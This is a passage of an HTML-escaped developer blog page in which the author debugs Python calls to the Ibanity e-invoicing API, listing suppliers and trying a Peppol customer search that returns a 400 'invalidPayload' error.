    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Request Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected response status code: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;access_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Same headers dict used in all examples&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Accept&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# I don&amp;#39;t know whether the access token allows multiple requests, so I skip&lt;/span&gt;
&lt;span class="c1"&gt;# this one for example 2.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;EXAMPLE&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Get a list of suppliers&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/suppliers&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected status code &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; for GET &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Customer search. Check whether my customer exists.&lt;/span&gt;
&lt;span class="c1"&gt;# Belgian participants are registered with the Belgian company number, for which&lt;/span&gt;
&lt;span class="c1"&gt;# identifier 0208 can be used. Optionally, the customer can be registered with&lt;/span&gt;
&lt;span class="c1"&gt;# their VAT number, for which identifier 9925 can be used.&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;EXAMPLE&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Customer search&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/customer-searches&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;eas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;9925&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;vat_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;BE0010012671&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# vat_id = &amp;quot;BE0840559537&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# headers are the same as before, plus a new header &amp;quot;Content-Type&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# pprint(headers)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;peppolCustomerSearch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;attributes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;&amp;quot;customerReference&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;eas&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# data = {&amp;quot;data&amp;quot;: data}&lt;/span&gt;
    &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# line added 20250121&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected status code &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; for POST &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;EXAMPLE&lt;/span&gt;&lt;/code&gt; is &lt;cite&gt;1&lt;/cite&gt; in this script, it asks for a list of suppliers.
And this works. Here is the output&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;attributes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;city&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Leuven&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;companyNumber&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1234567890&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;contactEmail&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;contact@example.be&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;country&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Belgium&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;createdAt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2025-01-18T15:10:56.719813Z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;someone@example.be&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;enterpriseIdentification&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;enterpriseNumber&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1234567890&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                       &lt;span class="s1"&gt;&amp;#39;vatNumber&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE1234567890&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;homepage&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;www.home.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;ibans&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bdfa52c6-2b50-4690-8b8d-24541a92c578&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE68539007547034&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                                    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dcb9f7c2-be2c-4b52-8d77-3ed2bc05c5f8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE68539007547034&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;names&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;3dffba33-97af-4477-9fab-2d9d2dc31cee&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Company&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                                    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;99e410cc-d6f0-4f36-8096-949741ea8ec3&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Company S.A.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;onboardingStatus&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CREATED&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;peppolReceiver&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;phoneNumber&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;+3254321121&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;street&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Street&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;streetNumber&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;supportEmail&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;support@example.be&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;supportPhone&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;+3212345121&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;supportUrl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;www.support.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;3000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
           &lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;273c1bdf-6258-4484-b6fb-74363721d51f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
           &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;supplier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;meta&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;paging&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;number&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;total&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}}}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But until further notice I hope that TIM doesn’t need to care about suppliers
because our users will use their online banking application to see their
purchase invoices, and they will simply enter them manually into TIM as they are
used to do right now.&lt;/p&gt;
&lt;p&gt;What TIM users will need to do is a check whether their customer exists. That’s
documented in &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-customer-search"&gt;Peppol Customer Search&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Today’s script does exactly this when &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;EXAMPLE&lt;/span&gt;&lt;/code&gt; is &lt;cite&gt;2&lt;/cite&gt;. But until now I always
get 400 (Bad Request):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Customer&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;attributes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;customerReference&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;9925:BE0010012671&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;peppolCustomerSearch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../0118.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;93&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected status code &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; for POST &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Unexpected&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ibanity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;einvoicing&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;customer&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;searches&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;What am I missing?&lt;/p&gt;
&lt;p&gt;20250121: Geoffrey helped me to get a bit more of information. I forgot to look
at &lt;cite&gt;response.text&lt;/cite&gt; when &lt;cite&gt;response.status_code&lt;/cite&gt; isn’t 200. Here is the missing
bit:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;errors&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;invalidPayload&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;The submitted payload could not be parsed.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
